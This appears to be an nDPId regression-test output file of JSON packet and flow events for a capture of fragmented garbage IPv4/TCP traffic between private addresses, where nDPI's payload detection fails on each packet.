+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":133001,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkdSP3NSPzc0"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1534244027433,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":14387,"dst_port":14646,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433145,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAjgzOTYpKComXiUkI0AhQCMkIQAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433213,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433223,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433278,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433335,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433375,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433477,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433525,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433623,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433631,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433647,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433694,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433713,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433744,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433753,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 